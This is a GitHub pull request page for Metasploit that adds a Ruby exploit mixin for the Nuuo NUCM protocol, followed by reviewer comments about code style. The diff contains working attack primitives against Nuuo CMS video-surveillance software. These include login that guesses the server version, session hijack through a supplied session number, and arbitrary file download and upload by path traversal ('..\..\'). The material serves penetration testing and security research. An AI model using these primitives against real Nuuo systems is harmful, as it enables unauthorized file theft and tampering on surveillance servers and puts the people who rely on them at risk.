-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add new mixin for Nuuo models #11289
Changes from 8 commits
7ac30b8
8308ec1
72a55fe
459598b
94f5b40
0562aa5
9375ee2
3b98add
d8f9e41
08aa1c3
b5dbacc
c09515d
733f784
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -125,3 +125,4 @@ | |
|
||
# Other | ||
require 'msf/core/exploit/windows_constants' | ||
require 'msf/core/exploit/remote/nuuo' |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,237 @@ | ||
require 'msf/core/exploit/tcp' | ||
|
||
### | ||
# | ||
# This module exposes methods that may be useful to exploits that deal with | ||
# servers that speak Nuuo NUCM protocol for their devices and management software. | ||
# | ||
### | ||
module Msf | ||
module Exploit::Remote::Nuuo | ||
include Exploit::Remote::Tcp | ||
|
||
# | ||
# Creates an instance of an Nuuo exploit module. | ||
# | ||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Author' => | ||
[ | ||
'Pedro Ribeiro <pedrib@gmail.com>' | ||
], | ||
)) | ||
|
||
register_options( | ||
[ | ||
Opt::RHOST, | ||
Opt::RPORT(5180), | ||
OptString.new('SESSION', [false, 'Session number of logged in user']), | ||
OptString.new('USERNAME', [true, 'Username to login as', 'admin']), | ||
OptString.new('PASSWORD', [false, 'Password for the specified user']), | ||
], Msf::Exploit::Remote::Nuuo) | ||
|
||
register_advanced_options( | ||
[ | ||
OptString.new('PROTOCOL', [ true, 'Nuuo protocol', 'NUCM/1.0']), | ||
]) | ||
|
||
@nucs_session = nil | ||
|
||
# All NUCS versions at time of release | ||
# Note that these primitives are not guaranteed to work in all versions | ||
# Add new version strings here | ||
# We need these to login; | ||
# when requesting a USERLOGIN we need to send the same version as the server... | ||
@nucs_versions = | ||
[ | ||
"1.3.1", | ||
"1.3.3", | ||
"1.5.0", | ||
"1.5.2", | ||
"1.6.0", | ||
"1.7.0", | ||
"2.1.0", | ||
"2.3.0", | ||
"2.3.1", | ||
"2.3.2", | ||
"2.4.0", | ||
"2.5.0", | ||
"2.6.0", | ||
"2.7.0", | ||
"2.8.0", | ||
"2.9.0", | ||
"2.10.0", | ||
"2.11.0", | ||
"3.0.0", | ||
"3.1.0", | ||
"3.2.0", | ||
"3.3.0", | ||
"3.4.0", | ||
"3.5.0" | ||
] | ||
|
||
@nucs_version = nil | ||
end | ||
|
||
|
||
## | ||
# Sends a protocol message aynchronously - fire and forget | ||
## | ||
def nucs_send_msg_async(msg) | ||
begin | ||
ctx = { 'Msf' => framework, 'MsfExploit' => self } | ||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) | ||
sock.write(format_msg(msg)) | ||
# socket cannot be closed, it causes exploits to fail... | ||
#sock.close | ||
rescue | ||
return | ||
end | ||
end | ||
|
||
## | ||
# Sends a protocol message synchronously - sends and returns the result | ||
## | ||
def nucs_send_msg(msg) | ||
pedrib marked this conversation as resolved.
Show resolved
Hide resolved
|
||
begin | ||
ctx = { 'Msf' => framework, 'MsfExploit' => self } | ||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) | ||
sock.write(format_msg(msg)) | ||
data = sock.recv(4096) | ||
if data =~ /Content-Length:([0-9]+)/ | ||
data_sz = $1.to_i | ||
more_data = '' | ||
recv = 0 | ||
while recv < data_sz | ||
new_data = sock.recv(4096) | ||
more_data << new_data | ||
recv += new_data.length | ||
end | ||
end | ||
# socket cannot be closed, it causes exploits to fail... | ||
#sock.close | ||
return [data, more_data] | ||
rescue | ||
return ["",""] | ||
end | ||
end | ||
|
||
## | ||
# Sends a protocol data message synchronously - sends and returns the result | ||
# A data message is composed of two parts: first the message length and protocol headers, | ||
# then the actual data. | ||
## | ||
def nucs_send_data_msg(msg, data) | ||
begin | ||
ctx = { 'Msf' => framework, 'MsfExploit' => self } | ||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) | ||
sock.write(format_msg(msg)) | ||
sock.write(data) | ||
data = sock.recv(4096) | ||
if data =~ /Content-Length:([0-9]+)/ | ||
pedrib marked this conversation as resolved.
Show resolved
Hide resolved
|
||
data_sz = $1.to_i | ||
more_data = '' | ||
recv = 0 | ||
while recv < data_sz | ||
new_data = sock.recv(4096) | ||
more_data << new_data | ||
recv += new_data.length | ||
end | ||
end | ||
# socket cannot be closed, it causes exploits to fail... | ||
#sock.close | ||
return [data, more_data] | ||
rescue | ||
return ["",""] | ||
end | ||
end | ||
|
||
## | ||
# Downloads a file from the CMS install root. | ||
# Add the ZIP extraction and decryption routine once support for it is added to msf. | ||
## | ||
def nucs_download_file(filename, decrypt = false) | ||
data = nucs_send_msg(["GETCONFIG", "FileName: ..\\..\\#{filename}", "FileType: 1"]) | ||
data[1] | ||
end | ||
|
||
|
||
## | ||
# Uploads a file to the CMS install root. | ||
## | ||
def nucs_upload_file(filename, file_data) | ||
data = nucs_send_data_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data) | ||
if data[0] =~ /200/ | ||
bcoles marked this conversation as resolved.
Show resolved
Hide resolved
|
||
true | ||
else | ||
false | ||
end | ||
end | ||
|
||
def nucs_login | ||
if datastore['SESSION'] != nil | ||
# since we're logged in, we don't need to guess the version any more | ||
@nucs_session = datastore['SESSION'] | ||
elsif datastore['PASSWORD'] != nil | ||
@nucs_versions.shuffle.each do |version| | ||
@nucs_version = version | ||
data = login_password | ||
if data == nil | ||
bcoles marked this conversation as resolved.
Show resolved
Hide resolved
|
||
next | ||
else | ||
@nucs_session = data | ||
break | ||
end | ||
end | ||
else | ||
@nucs_versions.shuffle.each do |version| | ||
@nucs_version = version | ||
data = login_nopass | ||
if data == nil | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This conditional block: if data == nil
next
else
@nucs_session = data
break
end Might be cleaner using a guard clause: next if data.nil?
@nucs_session = data
break It's slightly easier to read, especially given that this block is already deeply buried in spaghetti. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Easier to read? I think exactly the opposite, your proposal is much more convoluted and less expressive. However if that's what you want I will make the change... There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. It's a suggestion. You're welcome to ignore it. As a common code pattern, it's easy to read for readers familiar with Ruby. Once familiar with right-hand conditionals, and their typical use case (guard clauses), this pattern is easier to read than nested conditionals. In this instance, the conditional is already nested two levels deep. Part of the reason I find the existing implementation subjectively unnecessarily hard to read is due to code duplication. Consider: def nucs_login
if datastore['SESSION'] != nil
# since we're logged in, we don't need to guess the version any more
@nucs_session = datastore['SESSION']
return
end
@nucs_versions.shuffle.each do |version|
@nucs_version = version
if datastore['PASSWORD'].nil?
data = login_nopass
else
data = login_password
end
if data.nil?
next
else
@nucs_session = data
return # or break if you'd prefer
end
end
end There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. @bcoles I will implement your suggestions even if I don't agree with them 100%, it's your show anyway. I just don't like to make a lot of changes as I'm paranoid with QA, and this means I will have to retest all the exploits against a variety of target versions to ensure nothing gets broken. I'll make all the required changes, submit again and wait for your feedback. Once you are happy with the results (for all the modules), I will just test all changes at once. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. It's not my show. My suggestions are suggestions. I'm primarily concerned with complexity for maintainability purposes. Looking at the login logic, it could be boiled down even further, as the I could be missing something, but I don't see the need for two methods. Perhaps it would be a good idea to merge both private login methods into a single private login method and move the |
||
next | ||
else | ||
@nucs_session = data | ||
break | ||
end | ||
end | ||
end | ||
end | ||
|
||
private | ||
def login_nopass | ||
pedrib marked this conversation as resolved.
Show resolved
Hide resolved
|
||
data = nucs_send_msg(["USERLOGIN", "Version: #{@nucs_version}", "Username: #{datastore['USERNAME']}", \ | ||
"Password-Length: 0", "TimeZone-Length: 0"]) | ||
if data[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/ | ||
bcoles marked this conversation as resolved.
Show resolved
Hide resolved
|
||
return $1 | ||
else | ||
return nil | ||
end | ||
end | ||
|
||
def login_password | ||
pedrib marked this conversation as resolved.
Show resolved
Hide resolved
|
||
data = nucs_send_data_msg(["USERLOGIN", "Version: #{@nucs_version}", "Username: #{datastore['USERNAME']}", \ | ||
"Password-Length: #{datastore['PASSWORD'].length}", "TimeZone-Length: 0"], datastore['PASSWORD']) | ||
if data[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/ | ||
return $1 | ||
else | ||
return nil | ||
end | ||
end | ||
|
||
## | ||
# Formats the message we want to send into the correct protocol format | ||
## | ||
def format_msg(msg) | ||
final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n" | ||
for line in msg[1..msg.length-1] | ||
pedrib marked this conversation as resolved.
Show resolved
Hide resolved
|
||
final_msg = final_msg + line + "\r\n" | ||
pedrib marked this conversation as resolved.
Show resolved
Hide resolved
|
||
end | ||
if not final_msg =~ /USERLOGIN/ | ||
final_msg = final_msg + "User-Session-No: " + @nucs_session.to_s + "\r\n" | ||
pedrib marked this conversation as resolved.
Show resolved
Hide resolved
|
||
end | ||
return final_msg + "\r\n" | ||
end | ||
|
||
end | ||
|
||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I see your evil plan there :-)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
:) I'm not planning to dig deeper (for the moment), but pointing it out to whoever wants to look into it...